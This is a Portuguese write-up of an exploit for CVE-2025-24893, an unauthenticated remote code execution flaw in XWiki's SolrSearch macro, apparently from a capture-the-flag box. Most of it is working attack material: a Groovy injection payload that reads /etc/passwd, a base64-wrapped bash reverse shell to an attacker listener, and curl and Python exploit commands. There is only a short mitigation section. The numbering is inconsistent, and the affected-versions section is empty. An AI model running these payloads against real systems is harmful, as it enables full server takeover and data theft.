CVE-2025-24893 – Execução Remota de Código Não Autenticada no XWiki

0 Índice

1. Resumo
2. Detalhes da Vulnerabilidade
3. Versões Afetadas
4. Prova de Conceito
   • 4.1 Construir o payload
   • 4.2 Exploração manual
   • 4.3 Exploit automatizado em python
5. Mitigação
6. Créditos e Referências

1 Resumo

• CVE: 2025-24893
• Componente: macro SolrSearch (UI do XWiki)
• Severidade: 9.8 / CRÍTICA (CVSS 3.1)
• Vetor de ataque: HTTP GET não autenticado
• Impacto: Execução arbitrária de Groovy → RCE a nível de sistema (permissões do usuário Jetty/Tomcat)

O endpoint /xwiki/bin/get/Main/SolrSearch concatena a entrada não confiável text= diretamente em um template Freemarker.
Ao fechar prematuramente o template e abrir um novo bloco {{groovy}} … {{/groovy}}, um atacante executa código Groovy arbitrário sem autenticação.

2 Detalhes da Vulnerabilidade

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch deveria incorporar o texto fornecido como conteúdo simples, mas o tratador da macro não escapa }}}, então ocorre o seguinte:

1. }}} fecha o bloco Freemarker atual.
2. O atacante abre uma nova macro:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false força execução síncrona (funciona até para convidados).

3. O Groovy é executado com as permissões do processo JVM do XWiki.

Um PoC mínimo que exibe /etc/passwd:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

Variante codificada para URL (espaços → %20, chaves → %7B/%7D, etc.):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Versões Afetadas

(fonte: aviso da OffSec e XWiki SEC-S 2025-02)

5 Prova de Conceito

5.1 Construir o payload

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Exploração manual

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Exploit automatizado

xwiki_solr_rce.py é fornecido em exploit/ (veja o bloco de código abaixo).

python CVE-2025-24893.py -u <URL ALVO> -l <IP> -p <PORTA>

onde

<URL ALVO> - URL incluindo http:// ou https://

(passe -c "id" para executar um comando arbitrário em vez de um shell)

6 Mitigação

• Atualize para 15.10.11 / 14.10.17 ou superior
• Solução temporária: desabilitar a macro

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Créditos e Referências

• Pesquisa OffSec: “Unauth RCE in XWiki” – 20 Fev 2025
• Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Pesquisa e PoC: DeX1d

Aviso: Apenas para uso educacional. Executar isto contra sistemas que não possui é ilegal.